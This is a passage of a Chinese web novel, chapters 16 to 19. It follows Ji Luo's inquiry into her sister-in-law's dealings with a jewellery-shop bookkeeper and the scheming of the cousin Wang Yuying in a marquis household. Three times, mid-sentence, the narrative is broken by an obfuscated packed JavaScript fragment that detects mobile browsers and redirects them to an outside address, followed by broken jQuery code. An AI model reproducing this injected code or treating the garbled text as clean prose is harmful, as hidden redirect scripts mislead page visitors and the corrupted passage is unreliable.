王绍嬉皮笑脸地接过了那两张银票,瞧清楚了面额之后便塞入怀中,连连点了头道:“放心吧,阿姐,这银子没使完之前,我不会再找来的,这侯府虽然好,可规矩束缚太多,我也不乐意来!” 他一边说着,一边推了门出了院子。 王玉盈看着王绍离去的背影,不由得捏紧了手中锦帕。 这一世,她只是想金尊玉贵地活着罢了,怎么谁都在逼她? 16. 第十六章 翌日,再起身时纪萝的身子已是好了一大半。 她身子向来是不错的,从前在青州上树抓鸟,下水捞鱼都是寻常事,并不似寻常的世家小姐一般向来养在深闺中,所以这种小病,用过药之后稍稍养一养就已经大概好全了。 昨日夜里的账册还没理完,纪萝便让芸枝取来,将剩余部分一一对上。 挑拣出来些错漏之处还唤了库房的人过来核对了一番。 等瞧到了后边,纪萝却觉出些不对来,她来回瞧了瞧,才开口问道:“倩桐这个月在盈翠坊买了好几回首饰?” 库房的人点头应着,“大概买了有五回,买了三对钗子,一对耳坠子与一只镯子,账册上都写清了各样的价格。” “从前倒是不见她这般喜欢盈翠坊的首饰。”纪萝往前翻了翻,确实鲜少见到她有去这盈翠坊的时候,这个月却生生买了五回,确实是古怪。 纪萝想起前些时日的事,令库房的人退下之后又唤来了兰卉。 兰卉这些时日依旧盯着赵倩桐,只是并未寻着什么不对劲之处,所以便没有时时过来禀报。 这会儿她到了纪萝跟前,也知纪萝要问什么,于是道:“倩桐小姐这些时日依旧不曾有什么古怪的举动,若不是留在自个院子里,便是出去逛逛街之类。” 纪萝却问道:“你可见过她去盈翠坊?” “盈翠坊?”兰卉一愣,而后点头道:“这倒确实是她常去的首饰铺,从夫人让奴婢盯着倩桐小姐开始到如今,好似已经去过那铺子好几回了,只是那铺子……” 兰卉有些无奈道:“那铺子的首饰要价极高,铺子里的伙计也多是眼高于顶,奴婢有一回想跟进去瞧瞧,却被他们拦了下来,所以并不知里间情况。” 纪萝颔首,神色却越发凝重。 虽然眼下手中并无任何凭证,可纪萝心底却隐约觉得此事怕是有些古怪。 兰卉寻不着进里间瞧瞧的机会,恐怕此事只能她亲自去一趟了。 于是吩咐兰卉继续去盯着,又令芸枝再给了银子。 等兰卉退下后,纪萝换了身衣裳,又拿了帷帽,“走吧,去那盈翠坊瞧瞧。” 盈翠坊其实在上京算不上最好的首饰铺子,最受世家贵女夫人们追捧的反而是柳翠阁以及簪月坊之类,其中簪月坊这两年来做出了数款颇受欢迎的首饰,每日为了那些簪钗在铺子门前排队的人都不知凡几,相比之下,盈翠坊便冷清了许多。 纪萝到时盈翠坊里间便只有稀疏几人在瞧簪子。 坊里的伙计确实如同兰卉所言,是个见人下菜碟的,他一见有客人进来,便先上下将纪萝打量了一番,而后才堆了笑意迎上来,“这位夫人是想看什么?咱们这儿各式簪钗首饰,镯子耳坠都有。” 纪萝四下瞧着,“我随意看看便是。” 伙计陪笑着应了个“是”,却又跟在纪萝身后介绍着,“这白玉簪是上好的白玉制成,触手温润,雕刻的莲花样式也颇为精巧,这翡翠镯子也是个好物件,今早还有夫人定了一套去,说是难得见到这样品相好的翡翠,这……” 纪萝走到哪一样首饰跟前他便紧跟着介绍,将样样物品都说得天上有地上无一般,纪萝自然是不曾将心思放在这些首饰上边,她有意无意地打量着周遭的景象,但无论怎么瞧,这里间也不过是一间很是寻常的首饰铺子罢了,并无任何古怪之处。 “那位是……”她打断伙计的话,将目光放在案台旁的男子身上,那男子虽身着书生服饰,可举手投足间却似乎带了些脂粉气,虽说此处是卖女子首饰的地方,可里间的伙计却与寻常铺子的伙计并不会有什么差别,但这男子却…… 伙计顺着纪萝的目光看过见,瞧见案台旁的那男子,解释道:“这是坊中的账房先生。” “原来是账房先生,倒是年轻。”纪萝仿若闲谈般提了一句。 伙计未多想,随意应道:“是,也是前不久来的。” 说着他又将一块玉佩递到纪萝面前,“夫人瞧瞧这块玉如何?” 他方才给纪萝介绍了好几样首饰,可见纪萝似乎都并未太感兴趣,于是便转而拿了玉佩开始介绍。 这块玉佩确实是质地不错的,纪萝只稍稍撇了一眼,便看出这玉佩用料极好,她从伙计手中接过,又细细瞧了瞧。 伙计见纪萝来了兴致,连忙在一旁介绍着,“这块青玉很是难得,夫人且看它的通透程度便知它不是凡品,我也是瞧着夫人通身气质不俗所以才将这玉佩取来,若是寻常人怕是……” 这伙计嘴皮子功夫了得,三言两语便将纪萝捧得极高,连一旁芸枝听着也不由笑了。 而纪萝拿着这玉佩却想着,赵承嘉往日喜欢穿暗色衣袍,腰间原本也有一块玉作为装饰之用,只是几日前好似是丢了,再有几日便是他生辰了,以这玉佩作为生辰赠礼倒也是合适的。 于是点头道:“就拿这块玉佩罢。” “好嘞!”伙计一听纪萝要将这玉佩买下,面上的笑意挤得眼睛都只留下一道缝隙,他点头哈腰道:“夫人您这边稍等,我取了盒子给您装起来!” 纪萝颔首,接着走到案台旁等着。 借着这个间隙,纪萝又多瞧了那位账房先生几眼,却见他的穿着打扮虽是寻常,可腰间却别了块白玉的玉佩,瞧着应当也是价值不菲的,这盈翠坊的物件要价虽然高,可最后的银子却只落到了这老板口袋里,哪里能轮到这区区一个账房先生? 而若是这账房先生当真是个家中富裕的,又哪里会来这地儿做这样的活计? 只当个富家公子岂非更是自在? 如此想来,此事确实是有些古怪了。 纪萝正想着,那伙计也已经将玉佩收入盒中拿了过来,芸枝付过了银子后,纪萝又多看了那账房先生一眼才拿了玉佩出门。 等纪萝出了铺子,里间方才点头哈腰的伙计顿时直起了腰身,面上的笑意也多了几分猥琐意味,“可以啊,果真生了副好样貌就是不同,刚刚那位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352265|167390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夫人的眼睛几乎是没离开过你,啧啧,这个虽有了家室,可出手却是极为阔绰的!” 那账房先生听得这话也是一笑,他生得俊朗,原本这般笑着应当是极为好看的,可惜他好似知晓自己如何笑着才是最好看的,就连嘴角的弧度都克制得刚刚好,如此反而多了几分刻意,平添了些算计。 他却浑然未觉,只道:“有了家室又如何,只要她多见了我几回,我便是一句话也不同她说,她也定是要沦陷的!可惜如今我已是定下心思来,否则少不了……” 两人说着,又是相视一笑。 纪萝这会儿已经出去外间街道上,自然是不曾听得这两人的言论。 她侧着身子吩咐芸枝找个人盯着那账房先生,芸枝应着,她便转身要上马车。 可正在这时,街道上无端起了一阵风,恰好将帷帽吹开,纪萝连忙一手扶着,而后才上了马车。 街道的另一侧,重景楼二楼的雅间,谢元墨正与袁庆生说着话,目光下意识往窗外瞧去,便正好瞧见了这般景象。 他拿住茶杯的手微微顿住,连袁庆生说了什么也不曾听清。 袁庆生道:“端王殿下的意思是此事暂时还只是怀疑,请陛下切勿露出端倪来。” 谢元墨点头,“什么?” 袁庆生一愣,又将方才的话重复了一遍,“端王殿下的意思是此事暂时还只是怀疑,请陛下莫要露出端倪来。” 谢元墨抿了口茶水,“端王是谁?” 袁庆生张了张嘴,下意识顺着谢元墨的目光看过去,瞧见立在马车边上的那个女子后才轻咳一声道:“陛下,端王是您的兄长。” “哦。”谢元墨将目光收回,又抿了两口茶水,认同道:“是,端王是朕的兄长。” 说罢,他又拍了拍袁庆生的肩膀,将方才的话圆了回来,“你是他向朕举荐的人,所以朕相信你。” “多谢陛下信任,草民定不辜负陛下信任。”袁庆生向着谢元墨拱了拱手,可还是没忍住多说了一句道:“那是永宁侯府的夫人,成婚已有三载。” 听着有些熟悉的话,谢元墨不由皱了皱眉,他转了话题道:“听说你前段时间与夫人和离了,眼下又有成婚的打算?” 袁庆生其实并不想同外人提及此事,可谢元墨既然问起,他也不好不说,只能点了头应道:“是。” 那日茵娘与他那般说了之后,他连着几夜未曾好眠,心底一直想着这事。 他知他若应下,便实在对不起王玉盈,可若是不应下,却又对不起茵娘。 虽然他甚至不知这孩子是何时有的,但那到底是他的孩子,他不能不管。 几日之后,他再见到茵娘,在茵娘给他端来一碗热汤时,他答应了娶她。 为了那个孩子,也是为了茵娘。 他们母子二人不曾做错什么,不应当没名没份地跟在他身边。 茵娘当即落下了眼泪来,嘴里一直喃喃说的却是,“谢谢,谢谢……” 17. 第十七章 纪萝回了侯府之后用过汤药之后便有了倦意,直至歇息到晚间才起来。 马上要入春,府里的下人过来请示纪萝采购布料制衣的事。 纪萝依着往日的惯例选了料子,又特意嘱托了底下人王氏有起疹子的老毛病,用料方面千万要小心些,贴身的里衣以简单轻便为主,切勿以金银丝线刺绣,底下人都应着。 纪萝又想起眼下也在侯府住着的王玉盈,虽不知她是否在侯府久住,可眼下已经到了侯府采买料子的时候,总不好略过她去,于是向底下人多吩咐了一句,“府中的表小姐不知喜好如何,你们去观荷院问问罢,看看她喜欢什么颜色花样,等买好了料子,再令人量好尺寸,为她也制两件春衣。” 底下人心下暗自感慨纪萝将事情安排得妥帖,他们这些人虽想到了府中还有个王玉盈,但却并未将事情想得这般周全,如此,也是无人能挑拣出毛病来了,自然应下。 处理完这些事务之后天色已经彻底暗下,芸枝吩咐厨房备下了晚膳,不多时便有人将膳食送了过来。 纪萝晚间向来用得简单,这几日身子不大好,厨房备下的吃食便更是清淡。 往日纪萝都是独自用晚膳,所以厨房都是按着她的喜好来准备吃食,可不想今日纪萝才用了几口清粥,赵承嘉便到了。 他身着墨色衣袍,大步走进了里间来,“阿萝,今日身子可好些了?” “今日用过汤药,已经好些了。”纪萝起身道:“侯爷怎地这个时候过来了?可是还不曾用过晚膳?” 赵承嘉拉着她坐下,“下值之后就过你这儿来了,想着你身子不舒服,想过来看看你。” 纪萝心头涌上一阵暖意,赵承嘉与她之间或许不曾有多深的情意,可他向来是愿意将自己的事放在心上的,这般细水长流,方才是寻常夫妻模样,她轻声道:“多谢侯爷关心。” 而后又唤来芸枝吩咐道:“去厨房令他们快些做两道侯爷素日爱吃的菜送来。” 芸枝正要应下,赵承嘉却摆了摆手道:“不必麻烦,夜里正好吃些清淡的。” 芸枝看向纪萝,纪萝颔首,芸枝便退了下去。 纪萝起身给赵承嘉盛了一碗清粥,二人用膳间话语并不多,只是赵承嘉关心了纪萝几句,纪萝也都一一应着。 晚膳后二人稍坐了一会,赵承嘉想着纪萝尚在病中,便说要早些歇息。 于是不过酉时,二人便已经歇下。 纪萝虽午后已是歇了好几个时辰,可晚间用过汤药之后却又有了倦意,上了床塌之后不消多是便已经迷迷糊糊地睡了过去。 可正当她半梦半醒间,外间却传来了叩门的声响,隐约还有吵闹声传了过来。 纪萝向来睡眠浅,听得那些细碎的吵闹声,她便很快清醒了过来。 外间的声音依旧未歇。 纪萝凝神听着,好似听到了芸枝的声音,除却芸枝之外,还有另一女子声音,二人正争执着。 吵闹间,那女子刻意拔高了声音唤了声,“侯爷,您快来看看我们家姑娘吧,姑娘她身子很是不适……” 后半句话并未说出口就变成了支支吾吾的声音,显然是芸枝上手拦了她,不想让她扰了纪萝与赵承嘉。 但这样的响动,赵承嘉自然也醒了过来,他皱眉道:“外间是何人吵闹?” 听得赵承嘉的声音传来,芸枝与另一婢子显然也不敢再争吵,那婢子道:“奴婢是玉盈姑娘的贴身婢子,唤作凝露,这会儿过来求见侯爷是因为我家姑娘身子实在不适,老夫人向来歇得早,姑娘不想打搅了老夫人,便令我们不要声张,可奴婢见姑娘实在不好受,所以只能过来求侯爷去瞧瞧我家姑娘。” 这话说得实在奇怪,纪萝看不清赵承嘉的神色如何,可心里却已经隐约觉出不对来。 赵承嘉如今已有妻室,即便王玉盈是他亲表妹,夜里这般唤她过去也颇为古怪,更不说其实两家之间还并非那样亲近的关系呢? 虽说这凝露言语之间避开了此事与王玉盈的关系,甚至刻意强调了王玉盈令她们不要声张,表明此番前来是她自个的意思,与王玉盈并无干系,可纪萝却知,若是没主子授意,凝露一个婢子,是万万没有来青萝院这般纠缠胆量的。 想到此处,纪萝呼吸几乎凝滞,她在等着,等着看赵承嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357215|167390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如何说。 赵承嘉眉头越发紧皱,“既是身子不适,那去请大夫来瞧便是,府中有大夫在,他们才能医好她的病症,我去又有何用?” 他语气颇为不耐烦,连王玉盈如今情况都不曾多问一句,显然是不想多管。 门外的凝露似乎也并不曾料想到赵承嘉竟会这般冷漠,一时有些说不出话来。 芸枝听了这话却有些得意,“侯爷都说了,你直接去为你家姑娘请个大夫去瞧瞧便是,快些去吧,莫要耽误了。” 说着,便要催促着凝露离开。 可凝露却依旧有些不甘心,又咬牙道:“可姑娘一直念着侯爷,侯爷还是过去瞧瞧……” “我说过了。”赵承嘉直接打断她的话,“若是身子当真不舒服那就去请个大夫,若是没有旁的事,那就明日再说。” 赵承嘉声音里已经夹杂了些怒火,凝露听出他的不悦,也不敢再多说什么了。 正要退下时,却听得纪萝提了一句,“表妹若是身子实在不适,我们还是不能不管,到底表妹如今是在侯府,是我们的客人,如何能怠慢?到底应当寻个好些的大夫瞧瞧才能安心。” 赵承嘉没想到纪萝会如此说,偏偏她还说出了几分道理来。 可不等他开口说什么,外间凝露听得这话,却慌忙道:“还是不打扰侯爷夫人了。” “怎会是打扰?”纪萝接着道:“你稍等片刻,等我与侯爷换身衣裳,马上便来。” 她如此说着,凝露却是当真慌了神,连忙道:“不必,姑娘……姑娘应当只是做了噩梦吓着了,没有大碍的……” 见她这样快改了说辞,赵承嘉又如何不明白这其中的缘故,但也无心与她深究,只道:“没什么事就赶紧退下吧!” “是,是。”凝露忙不迭地应着,很快退了下去。 屋内重新安静了下来,赵承嘉沉寂了片刻,大约是想开口解释些什么,可到底不知该如何开口,于是只道:“睡吧。” 连他自己都不曾觉察,说这两个字时,他紧皱的眉头依旧不曾松开。 他心里是烦闷的,可……到底在为什么事烦闷呢? 18. 第十八章 纪萝也隐约觉出气氛不对,她方才听得凝露那番话,自然意识到这王玉盈大约别有心思,于是便开口激了凝露两句,想看看她如何应对,果真这凝露改了说辞。 只是凝露的表现比纪萝所料想的好似还要慌乱几分,这其中难道还有别的缘由? 即便王玉盈有心想与赵承嘉有些什么,自己一同过去她或许不喜,但不至于这般慌张…… 纪萝正胡思乱想着,就听得赵承嘉说了句“睡吧”。 语气隐约有些发沉,他似乎……有些不高兴? 可……他在为什么不高兴呢? 如墨的夜色中,纪萝想不出答案来,可心底总微微有些发沉,大约是因着用过了汤药,她依旧很快地睡了过去。 *** 寿康宫。 谢元墨晚间过来陪着沈太后用了晚膳,晚膳后,沈太后又拉着他说了好一会话。 说了几句家常闲话后便步入了正题,令婢女芙儿取来一叠画像,“这些都是年龄合适,样貌品行也样样都出挑的世家贵女,你瞧瞧,可有喜欢的?” 每回过来寿康宫,沈太后总不免提及这事,谢元墨大多含混应着,却始终没有行动。 沈太后大约也瞧出他并无心思在这些事上边,于是这回索性拿了画像过来,颇有要让他当下便做出选择来的意思。 谢元墨不好直接推拒,便随意翻了翻,却显然是心不在焉的。 “母后知道你心系国事。”沈太后看出他并未认真瞧这些画像,于是叹了口气道:“你如今也到了年岁了,当初母后给你安排的梁家女儿,你没说什么,母后便以为你也是喜欢的,却不想后边……” 后边谢元墨查出了梁家的罪证,便索性将梁家抄家,连女眷也一同流放,梁家那个女儿自然也没有好下场。 沈太后听说此事时,才知彼时的谢元墨对于她的安排没有拒绝并非因为喜欢那梁家女儿或是旁的,而是因为他不在意。 他早知道梁家的罪行,也早知道梁家的下场会是什么,只是暂时还未寻到确凿的罪证罢了。 所以无论沈太后如何安排,于他而言都是一样的,梁家女儿,注定做不成皇后。 虽说此事过去已经两年,可沈太后每每回想起来,总不免觉得有些后怕。 谢元墨虽是她亲生的孩子,可原本却并非是养在她身边的,所以即便有血缘关系在,可她见到谢元墨,却总还时时觉得陌生疏离。 甚至有的时候她觉得,她这个孩子,似乎有些太过冷血了…… 梁家的那个女儿好歹是真心实意对他的,可他在处理梁家的那桩事时,事事皆是按着楚国的律例来的,半分不曾留了情意。 确实是她不曾想到的。 但到底都是过去的事了。 沈太后转了话题道:“这些你若不喜欢便罢了,你与母后说说,你喜欢什么样的,母后往后再留意着。” 喜欢什么样的?谢元墨一怔,想到的却是今日街道上马车旁那副景象。 女子的帷帽被风吹开,露出一张白皙的面容来,妆容浅淡,可却分毫不掩容色,与那日在沈国公府见到狼狈模样全然不同,可却一样的,让他挪不开眼来。 但片刻后,他依旧摇了摇头,“都一样,没什么喜欢的。” *** 凝露过来回话时,王玉盈再也克制不住,抬手便将桌上的茶盏摔了个粉碎。 等她要再砸东西,却被凝芳拦了下来,“姑娘,这到底是永宁侯府……” 这是永宁侯府,不是王家,她寄人篱下,连心里憋着气,撒火都不能撒得痛快, 想到此处,王玉盈心里更是憋得慌,可到底没有再砸东西了,只咬着牙道:“母亲逼我,王绍逼我,可表哥却偏偏一副彻底对我没了情意的模样,我能怎么办,难道当真要拿刀子去逼着他转了心思不成?” “姑娘。”凝芳见她这模样也觉得心疼,“您如今身子不同往常,这般生气怕是伤神。” 提及腹中孩子,王玉盈却更是怨怒,“若是攀附不上侯府,留了这孩子有何用处?不如索性早些了结算了!” 说罢,竟是用力要动手去锤自己腹部。 见她如此动作,凝芳与凝露皆是吓了一跳,一人抱住她的腰身,一人护住她的腹部,生生将她拦了下来。 “姑娘何苦如此?”凝芳劝道:“这世上好男子千千万,您何必只将心思放在侯爷一人身上,或许也能瞧瞧旁人。” “老夫人不是说了,会帮您留意么,她待您这样好,说不定也能帮您寻一个不逊于侯爷的夫君呢?” 可王玉盈听了这话,却是凄然一笑,“世上哪里有这样好的事,若我还不曾嫁入袁家,还是云英未嫁的闺中女子,或许还能搏一搏,可如今我却是嫁过一回了,肚子里还有个不争气的,姑母虽口口声声说要帮我再寻良人,可那话却也不过是说得好听罢了!” “若我说我不要旁人,就瞧上她儿子了,你以为她还会这般好声好气与我说?不将我赶出门去就算是好的了!” 说着,她浑身如同失了力气一般,瘫软地坐在了地上,眼泪也不自觉地落了下来。 她身后竟是无一倚仗。 上天到底还是不公,既是让她重生,为何偏偏是重生到这一日,若是重生到两年前她还不曾嫁给袁庆生的时候,她只要稍稍回头,赵承嘉便会愿意将一切尽数捧给她。 不说是这侯府夫人的位置,便是令他将侯府的一切都拱手相让,恐怕他也是不会皱一下眉头的。 哪里会像如今这般,让赵承嘉与她多说一句话都是难事? 想到此处,她心底怨念愈深,可凝露却在此时开口道:“其实侯爷心底也未必是不担心姑娘的。” 王玉盈一怔,便听得凝露接着道:“只是今日那纪氏在身边,侯爷即便心里挂念着姑娘,可总不好当着纪氏的面如何,若他当真撇下纪氏来姑娘院子里,这深更半夜孤男寡女的,传闻出去怕是有碍名声,侯爷不来,也未必没有这一层考虑。” 王玉盈这两日接连受了打击,特别是王绍又带着李氏的话来威胁了她一番,令她更是乱了心神,便想着无论如何要验一验赵承嘉的心意,所以才让凝露去青萝院请赵承嘉。 想着若是赵承嘉心里还有她,听说她如今病着,定会担心,也定会愿意撇下纪萝,亲自来看她的。 原本听了她这命令,凝露与凝芳都觉得颇为不妥,可王玉盈顾不上那么多,依旧坚持令凝露前去。 凝露无法,只得依着她的意思去了。 这会儿王玉盈闹了一遭,脑子反而清醒了许多,听着凝露所言,也反应过来今日自己确实是莽撞了些,“也是,表哥与我那么多年的情意,岂能说没有就没有了,定是那纪氏在旁的缘故。” 她思忖片刻,又道:“今日是我行事莽撞了些,若是表哥当真前来,这事反而难办,旁的也就罢了,若是被姑母知晓这事,哪里能容得下我?” 见王玉盈镇静下来,两个婢子心下也是稍稍安定,好歹不至于再闹出动静来。 凝芳先去将地上的碎瓷片收拾起来,拿到外头时又对外间的婢子多说了一句,说是里间不小心打碎了茶盏,让再去拿新的来。 那婢子虽听得里间好似有些古怪动静,可却也不敢多问,只应下便是。 而王玉盈却还在想着接下来该如何安排,她道:“表哥心底虽还有我,可那段时间我到底对他太冷淡了些,也是伤了他的心,那个纪氏又是个会算计的,怕是在笼络表哥上边费了不少心思,况且表哥对我当初做的那些事又还有怨言,如此,想让表哥转了心思确实是一桩难事。” “越是这种时候我便越不能着急,需得一点点让表哥明白我的心,一点点回心转意才成。” 想到此处,王玉盈唤来凝露,与她低声吩咐了几句,凝露听明白王玉盈的意思,便都点头一一应了下来。 安排好这事,王玉盈心底也终于安定下来,眼看天色不早,她用过汤药之后便沉沉睡了过去。 *** 翌日。 青萝院。 遣去盯着那位账房先生的人前来禀报了。 纪萝没想到才不过一日便有了消息,那人进来后便先垂首向纪萝行了礼,纪萝颔首让他起身,便听他道:“夫人吩咐盯着的那人好似名唤秦敬,我盯着他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378979|167390||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时听得盈翠坊的伙计是这般唤他的。” 秦敬,倒像是个读书人的名字,纪萝如此想着,又听那人接着道:“这秦敬昨日从盈翠坊离开后便回了附近的一处住所,那是一处小院,虽不似大户人家这般宽敞,可瞧着也实在不小,他回了住处了倒是再没有什么古怪举动,只是今日一早却出了门,我原以为他是要去盈翠坊的,可不想他转了方向却是往侯府这边来了。” “我瞧着不对,于是便一直跟着,这秦敬并非是个小心谨慎的性子,一路上也不曾觉察到我的存在,只是到了侯府附近时才稍稍警觉了些,一直左右瞧着,我便不敢跟得太近,不消多时,府中有个婢女出来,那秦敬有些急切地上前说了些什么,那婢女点头应着,秦敬又递了封书信给那婢女,婢女小心收了,而后两人才分开,我瞧到此处,觉得此事有些古怪,还是应当尽快向夫人禀报才成。” 听到此处,纪萝即便再如何不敢相信却也不得不往那个方向去猜想了。 一旁芸枝亦是脸色微变,下意识将目光放到纪萝身上,好在纪萝还能稳住心神,她向那人道:“此事你做得很好,只是这秦敬的底细我却是还不知的,你可有法子能帮我查一查?” 这人唤做阿福,他原本也是在侯府做事的,只是后来攒了一笔银子赎了身,而后便离了侯府在外间做些体力活。 他原本在侯府时就是个机灵的,后来出了府,在上京市井之间也混迹了许久,也算是有些人脉,所以纪萝动了令他帮忙继续打听的心思。 阿福忙拱手道:“愿为夫人效劳。” 纪萝颔首,又看向一旁芸枝,芸枝取了一锭银子给了阿福,阿福收下后又连连道了谢之后才离去。 等阿福离去之后,芸枝才终于忍不住道:“姑娘觉得,这封信是给倩桐小姐的?” “倩桐这些时日先后在库房支了不少银子,又频繁去了往日并不如何光顾的盈翠坊,再之后便是今日盈翠坊的账房先生往侯府里送了书信,这些事加在一块,确实令人很难不起疑心。”纪萝叹了口气道:“不过如今也并不能当真断言此事就与倩桐有关,还是先等等消息罢。” 赵倩桐还是个未出阁的姑娘,若当真传出这种与人私相授受的事情来总归不是好事。 再说那秦敬瞧着也有些古怪,更不说家世是万万无法与永宁侯府相配了。 若二人间真有些什么,被王氏知晓了,也是不免棒打鸳鸯的下场,王氏的性子,是无论如何也不会容忍自个的女儿嫁与秦敬这样的人的。 如此想着,纪萝却又不觉想起王玉盈来。 当初的王玉盈也是在上京街道上偶然见了袁庆生一回便倾心于他,后来一门心思要嫁入袁家,王家彼时也是不愿意的,王玉盈姿态端庄,家世虽不算太高,可好歹也是个官家小姐,就算不往高处嫁,也总不能往低了嫁。 那时的袁庆生只是个商户,士农工商,这商户排在末位,可是最被人瞧不起的。 但王玉盈却不顾这些,即便王家再如何阻挠也依旧不曾变了心思,最终如愿以偿地嫁给了袁庆生。 可如今呢?才不过三年,那桩看起来坚不可摧的婚事便已经分崩离析。 袁庆生在外边养了外室,甚至一早就有了孩子,而王玉盈住进了侯府,还对赵承嘉起了心思…… 昨夜王玉盈身边的婢子来青萝院那般闹了一遭,纪萝自然能觉出不对来。 原本她就觉得王玉盈似乎别有心思,可想到过去的传闻,又见王玉盈为了与袁庆生和离之事这般难过,便也就只觉得是自己多心。 但昨夜,王玉盈却像是将自己的心思明晃晃地表露了出来,如此,便由不得纪萝不这般想了。 王玉盈与赵承嘉是有些过往的情意在的,若赵承嘉也还想着她,便是将她纳作妾室也并非不可。 纪萝虽心里在意赵承嘉,但却也明白他们二人间并不曾有什么深厚情谊,最多不过相敬如宾罢了,上京男子多三妻四妾,纪萝嫁入侯府又是高嫁,纳妾之事,只要赵承嘉愿意,她也并不能左右了什么。 也并不会去左右什么。 纪萝只想着,往后能养个孩子在身边,能安稳度日便好。 19、第十九章 秦敬那封信送到赵倩桐手中时,赵倩桐是颇为惊喜的。 她接过那封信便忙不迭地拆开,而后认认真真地看了下去。 一旁怡宁却好似有些不满,她见赵倩桐这般认真模样,忍不住道:“秦公子这回不会又向您要银子罢?每回送书信过来都少不了向您要一笔银子,现在纪氏管得严,您手里头也没多少闲钱,哪里好再给他?” 赵倩桐却道:“我堂堂永宁侯府小姐,还会缺了银子不成,就算当真缺了银子,簪钗首饰却是要多少有多少,随便拿一样去换了便成。” 怡宁听得这话,欲言又止了几番,最终还是没再开口。 她知自家小姐这已是彻底沦陷了进去,再说什么也是无用,只得暗自在心底叹了口气。 赵倩桐将那书信看完,又无比珍视地收了起来,“我记得我有一支蝴蝶样式的金钗,若是拿去当的话应当是值些银子的,你帮我拿去给他罢。” “那枚钗子小姐上回已经给了他了。”怡宁有些无奈道:“他这回又是寻了什么由头来向小姐要银子?” 赵倩桐听出怡宁语气不好,她皱眉看向怡宁,道:“秦郎的母亲眼下还病着,大夫开的方子虽说有些效果,但都是些价格不菲的药材,秦郎不过是个账房先生,眼下还在准备着科考,哪里能有银子用得起这样的好药?我与他是最为亲近的关系,我不帮着他,又还有何人帮他?” 说罢,不等怡宁再开口说些什么,又道:“拿我那对白玉的镯子去吧,那对镯子我记着成色是不错的,拿去当了便是。” “那对白玉镯子您不是很喜欢么?”怡宁有些不情愿,“这样上好的镯子,若是当了去,往后再要买这种成色的可就难了!” 赵倩桐却并未变了主意,“镯子再好终究只是样物件罢了,哪里比得人一条活生生的人命?你只拿去便是。” 怡宁欲言又止,最终只得应下。 等怡宁去取了那一双玉镯过来,却又想到什么,不由问道:“姑娘往日都会想着亲自将这物件送到秦公子手上,今日却不去么?” “最近还是先不与秦郎见面了。”赵倩桐垂下眸子,声音里带了几分落寞。 怡宁想起前两日纪萝来过一回,虽不知具体说了些什么,可那一回确实是将自家小姐吓得不轻,或许与这事有些干系?想到此处,怡宁便迟疑着道:“是那日那纪氏说了些什么?” 赵倩桐摇头,“秦郎信上与我说,他这些时日很是思念我,但是眼下他正在准备科考,见了我恐怕心思都到了我身上,如此反而不好,所以便让这些时日我先不去见他,免得他乱了心神。” 这话说到后边,赵倩桐脸上已是薄薄地染上了一层红晕,竟是因着秦敬这些稍显露骨的情话而有些害羞。 她满心装着拿秦敬,自是觉得秦敬这话是再动听不过的情话,又怎会再做他想? 怡宁见状,接连在心底叹了几声,却知再多言也是无益,只得应下。 *** 赵承嘉近些时日在朝中颇不顺意。 他父亲还在世时,永宁侯府便是不得看重的。 两年前他承袭了爵位,他父亲临终前对他好一番嘱托,他入了官场,也方才觉察事事不易,即便有这爵位在身,可当今天子并不重用他,他越是像做出一番成绩来却好似越发艰难。 毕竟许多时候交到他手中的都是些并不要紧的事务,即便他再用心处理,却也得不到什么功绩。 偏偏赵承嘉觉得自己还是有些能力的,并不当拘泥于此,时时想起老侯爷临终所言,心中便更是愤懑,但却也抱怨不得,任凭再如何不满,都只得积压于心底。 如此时日久了,难免有些郁郁不得志之感。 这一日他下值回书房,路上却撞上个莽撞的小婢女,那婢女一抬眼瞧见面前人竟是赵承嘉,不由吓了一跳,慌忙将提着的篮子往身后放了放,而后才跪地求饶,“奴婢笨手笨脚冲撞了侯爷,还请侯爷饶恕!” 赵承嘉的目光却落在了那竹制的篮子上边,那里边遮了一层帕子,却不知到底放了些什么。 这婢女行迹古怪,偏偏还颇有些刻意地遮了遮她身后的篮子,显然里边应当是藏了什么见不得光的东西的。 赵承嘉凝眸看向这婢女,又觉得这婢女模样好似有些熟悉,于是先问了一句,“你是哪个院子里的婢女?” 那婢女回道:“奴婢是在表小姐身边侍奉的,唤作凝露。” 一听凝露这名字,赵承嘉便想起来了,前两日自己宿在青萝院时,半夜有个婢子过来说是王玉盈病了,央自己过去看看,那回那个婢子便唤作凝露,也正是王玉盈身边的人,想来便是眼前人了吧。 “你身后那篮子里装的是什么?”他目光定定地看向那篮子。 凝露一听赵承嘉问起那篮子,面上很快显露出慌乱之色来,“这……这是……这是小姐自己的一些物件……” 